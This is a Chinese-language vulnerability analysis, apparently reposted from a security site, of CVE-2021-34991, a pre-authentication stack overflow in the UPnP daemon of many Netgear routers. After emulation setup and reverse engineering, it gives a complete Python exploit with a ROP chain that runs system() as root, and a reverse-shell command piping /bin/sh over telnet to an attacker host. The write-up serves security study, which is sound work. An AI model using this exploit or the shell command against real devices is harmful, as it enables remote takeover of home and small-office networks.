CVE-2021-34991漏洞分析
2023-2-18 19:0:9 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

[TOC]

前言

实在对不住已经看了的大佬,第一次发文章,图片管理混乱,没想到发布后部分图片无法查看,现已将图床移动到github上,可以正常查看。

漏洞描述

Netgear SOHO Devices contain a vulnerability that allows an attacker within the device’s Local Area Network (LAN) to obtain Remote Code Execution (RCE) as root on the device. GRIMM researchers were able to use the vulnerability to create an exploit that can compromise fully patched Netgear devices in the default configuration.

Netgear SOHO 部分设备的upnp服务包含一个漏洞,通过构建精心设计的攻击脚本访问Public_UPNP_C5Public_UPNP_Event_1通过栈溢出达到攻击目的,该漏洞允许设备局域网内的攻击者在设备上以 root 身份获取远程代码执行。易受攻击设备的完整列表如下。

易受攻击的设备
AC1450-1.0.0.36D6220-1.0.0.72D6300-1.0.0.102
D6400-1.0.0.104D7000v2 - 1.0.0.66D8500 - 1.0.3.60
DC112A-1.0.0.56DGN2200v4 - 1.0.0.116DGN2200M - 1.0.0.35
DGND3700v1 - 1.0.0.17EX3700 - 1.0.0.88EX3800 - 1.0.0.88
EX3920-1.0.0.88EX6000 - 1.0.0.44EX6100 - 1.0.2.28
EX6120 - 1.0.0.54EX6130 - 1.0.0.40EX6150 - 1.0.0.46
EX6920 - 1.0.0.54EX7000 - 1.0.1.94MVBR1210C - 1.2.0.35BM
R4500-1.0.0.4R6200 - 1.0.1.58R6200v2 - 1.0.3.12
R6250 - 1.0.4.48R6300 - 1.0.2.80R6300v2 - 1.0.4.52
R6400 - 1.0.1.72R6400v2 - 1.0.4.106R6700 - 1.0.2.16
R6700v3 - 1.0.4.118R6900 - 1.0.2.16R6900P - 1.3.2.134
R7000 - 1.0.11.123R7000P - 1.3.2.134R7300DST-1.0.0.74
R7850 - 1.0.5.68R7900 - 1.0.4.38R8000 - 1.0.4.68
R8300 - 1.0.2.144R8500 - 1.0.2.136RS400-1.5.0.68
WGR614v9 - 1.2.32WGT624v4 - 2.0.13WNDR3300v1 - 1.0.45
WNDR3300v2 - 1.0.0.26WNDR3400v1 - 1.0.0.52WNDR3400v2 - 1.0.0.54
WNDR3400v3 - 1.0.1.38WNDR3700v3 - 1.0.0.42WNDR4000 - 1.0.2.10
WNDR4500 - 1.0.1.46WNDR4500v2 - 1.0.0.72WNR834Bv2 - 2.1.13
WNR1000v3 - 1.0.2.78WNR2000v2 - 1.2.0.12WNR3500 - 1.0.36NA
WNR3500v2 - 1.2.2.28NAWNR3500L - 1.2.2.48NAWNR3500Lv2 - 1.2.0.66
XR300 - 1.0.3.56

以下漏洞分析和测试使用XR300 - 10.3.56固件版本进行。

固件下载

netgear提供历史版本固件下载服务:https://www.netgear.com/support/product/xr300.aspx#download

binwalk解包固件,将文件系统打包一会scp传进qemu里

# ls _XR300-V1.0.3.56_10.3.41.chk.extracted
211F7A.squashfs  56  56.7z  _56.extracted  squashfs-root  squashfs-root.tar.gz

用file命令看下随便一个文件的指令集

# file ./_XR300-V1.0.3.56_10.3.41.chk.extracted/squashfs-root/bin/busybox 
./_XR300-V1.0.3.56_10.3.41.chk.extracted/squashfs-root/bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

固件模拟

使用qemu-system虚拟个arm系统

#cat init.sh
tunctl -t tap0 -u `whoami`
ifconfig tap0 192.168.174.10
qemu-system-arm -M vexpress-a9 \
	-kernel vmlinuz-3.2.0-4-vexpress \
	-initrd initrd.img-3.2.0-4-vexpress \
	-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
	-append "root=/dev/mmcblk0p2" \
	-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

进入虚拟机把解包出的文件系统传进来,补一下需要用到的配置文件和路径

[email protected]:~# cat init.sh
cp nvram.so squashfs-root
cp nvram.ini ./squashfs-root/tmp/
mkdir -p ./squashfs-root/tmp/var/run

挂载proc、dev后chroot进入模拟固件阶段

[email protected]:~# cat start.sh 
ifconfig eth0 192.168.174.6
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root sh

进到busybox后还需要设置LD_PRELOAD以劫持upnpd程序对nvram的外部导出函数,然后程序还需要libc.so.6库,直接把/lib/libc.so.0复制一份即可。

BusyBox v1.7.2 (2020-12-08 16:16:37 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# export LD_PRELOAD=/nvram.so
# cp /lib/libc.so.0 /lib/libc.so.6
# /usr/sbin/upnpd

如此一来就成功启动upnp服务了

image-20230206104104837

漏洞分析

gena_response_unsubscribe

根据描述,漏洞点位于gena_response_unsubscribe(sub_1BD5C),从log函数的参数来看应该是用来取消订阅的函数。

  1. 先把http报文复制副本,最多512个字节(21行),接下来的操作是在这512字节的副本上进行;

  2. 识别uuid字段并取出uuid值(25-29)

image-20230206111650106

  1. 遍历比对存储的uuid(34-42)

  2. 之后的代码都是异常处理环节

image-20230206112449689

其中关键在于

  1. 该函数中只给到uuid_buffer64个字节的空间

  2. 28行的find_token_get_val函数中未校验接收返回值的变量长度

find_token_get_val

find_token_get_val函数的功能是从http报文中查询并取出相应的字段的值,逆向分析出的函数声明如下

bool find_token_get_val(
    					[in]  int input_limited,			//http报文副本
                        [in]  char *find_buffer,			//要找的字段
                        [in]  const char *endString,		//结束标志
                        [out] char *uuid_buffer				//存储结果值的指针
                       );
  1. 合法性检测,检查input_limitedfind_bufferendString是否为空(13-20),为空直接返回

image-20230206121520792

  1. 循环定位字段,可以定位多个字段,以1024个字节为界,最多10个字段,字段起始位置存入found_value(22-42)

  2. 定位结束标志(43)

image-20230206121551476

  1. 如果起始位置found_value到结束标志位置found_value_end的字节不大于1024个字节,则存入uuid_buffer,否则uuid_buffer置0 (45-51)

find_token_get_val中允许向uuid_buffer写入最多1024个字节,但gena_response_unsubscribe中给uuid_buffer的空间只有64个字节,所以在这里存在栈溢出。

漏洞利用

image-20230206124715364

程序只开了NX保护,无法在栈上执行shellcode,所以需要寻找gadgets执行ROP链,程序中存在system函数,会方便很多。

先动调看下距离pc多远:

qemu上:

# ps | grep pnp
 2382 0          4924 S   /usr/sbin/upnpd 
 2484 0          2292 S   grep pnp
# gdbserver-armhf :1234 --attach 2382

主机上:

# gdb-multiarch
pwndbg> set architecture arm
The target architecture is set to "arm".
pwndbg> set endian little 
The target is set to little endian.
pwndbg> target remote 192.168.174.6:1234

在返回的位置下个断点 b*0x1BEBC

from pwn import *
import time


ip='192.168.174.6'
port=56688

def send(ip,port,data):
    t=remote(ip,port)
    t.send(data)
    time.sleep(1)
    t.close()

def get_payload():
    payload  = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'
    payload += 'Host: http://{}:{}\r\n'.format(ip, port)
    payload += b'SID: whatever\r\n'
    payload += b'UUID: '
    return payload


payload = get_payload()
payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab"
payload += "\r\n\r\n"

send(ip, port, payload)

image-20230206134457586

image-20230206134706571

可以得出,溢出点到pc寄存器需要67+4*8个字节,计算出偏移后,因为程序中使用了system函数,所以不需要想办法泄露库。但有两个因素使漏洞利用难度提升了不少:

  1. gena_response_unsubscribe函数中,使用的是http报文的副本,会被\x00截断,无法使用带有\x00字节的gadget

  2. 得到报文副本后,会将其转化成小写,所以也不能带有大写字符(0x41-0x5A)

image-20230206140002864

问题2可以通过仔细寻找gadget来绕过,但问题1几乎没办法解决:upnpd程序中的所有地址都包含一个\x00字符作为最高有效字节。

PoC中绕过的方法是通过#ADD SP, SP, #0x1000; POP {R4-R7,PC}gadget,抬高sp寄存器去寻找原始的http请求,由于原始http请求不受\x00和大写字符的限制,且被存储在栈中,所以通过该方法可以不受限制地执行任意gadget。

image-20230206141247946

下面要只剩下怎么传入要执行的命令的问题了,PoC是通过另外一个函数soap_parser(sub_1C5B8),将命令写入到全局变量中,原理与上面类似,通过find_token_get_val函数写入到全局变量中。

image-20230206135441543

exp

from pwn import *
import time


ip='192.168.174.6'
port=56688

def send(ip,port,data):
    t=remote(ip,port)
    t.send(data)
    time.sleep(1)
    t.close()

def get_payload():
    payload  = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'
    payload += 'Host: http://{}:{}\r\n'.format(ip, port)
    payload += b'SID: whatever\r\n'
    payload += b'UUID: ' + b"A"*67
    payload += b'BBBB'
    payload += b'CCCC'
    payload += b'DDDD'
    payload += b'EEEE'
    payload += b'FFFF'
    payload += b'GGGG'
    payload += b'HHHH'
    payload += b'IIII'
    return payload

def set_command(command):
    """Writes the command to memory in a global variable (meant for holding the Body of the XML request)"""
    payload =  b'<?xml version="1.0"?> '
    payload += b'<SOAP-ENV:Envelope> '
    payload += b'Body>:'
    payload += command.replace(" ","${IFS}")
    payload += b';Body >'
    payload += b" </SOAP-ENV:Body> "
    payload += b"</SOAP-ENV:Envelope>"

    request  = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'
    request += 'Host: http://{}:{}\r\n'.format(ip, port)
    request += b'SOAPAction\r\n'
    request += 'Content-Length: {}\r\n'.format(len(payload))
    request += b'\r\n'
    request += payload

    send(ip,port,request)

stack_add_gadget = p32(0x134A8) #ADD SP, SP, #0x1000; POP {R4-R7,PC}
padding1         = 1292
command_address  = p32(0x5B748) 
padding2         = 12
system_gadget    = p32(0x2e7e0) #MOV R0, R4; BL system

payload = get_payload()
payload += stack_add_gadget[:3]
payload += b'\r\n\r\n'
payload += b'J' * (padding1 - len(payload))
payload += command_address
payload += b'K' * padding2
payload += system_gadget

set_command('/bin/utelnetd -p3333 -l/bin/sh -d')
send(ip, port, payload)

攻击效果

exp中执行的命令是/bin/utelnetd -p3333 -l/bin/sh -d,在3333端口上开telnet服务

image-20230206142218488

从log上看命令执行地没问题,ps查看也确实有telnet进程,但就是连不上

image-20230206142319524

image-20230206142340532

甚至靶机自己也连不上

image-20230206143403341

应该是telnetd的问题,将命令换成telnet 192.168.174.10 666 | /bin/sh | telnet 192.168.174.10 6666,同时在主机上监听666和6666端口,成功拿到shell:

image-20230206152630541

参考

官方公告 https://kb.netgear.com/000064361/Security-Advisory-for-Pre-Authentication-Buffer-Overflow-on-Multiple-Products-PSV-2021-0168

固件下载 https://www.downloads.netgear.com/files/GDC/XR300/XR300-V1.0.3.56_10.3.41.zip

漏洞详情 https://github.com/grimm-co/NotQuite0DayFriday/tree/trunk/2021.11.16-netgear-upnp

nvram hook库 https://cloud.tencent.com/developer/article/1687473

相关链接:

https://bestwing.me/PSV-2020-0437-Buffer-Overflow-on-Some-Netgear-outers.html

https://cool-y.github.io/2021/01/08/Netgear-psv-2020-0211/

https://xuanxuanblingbling.github.io/ctf/pwn/2020/08/24/gdb


文章来源: https://www.freebuf.com/vuls/356705.html
如有侵权请联系:admin#unsafe.sh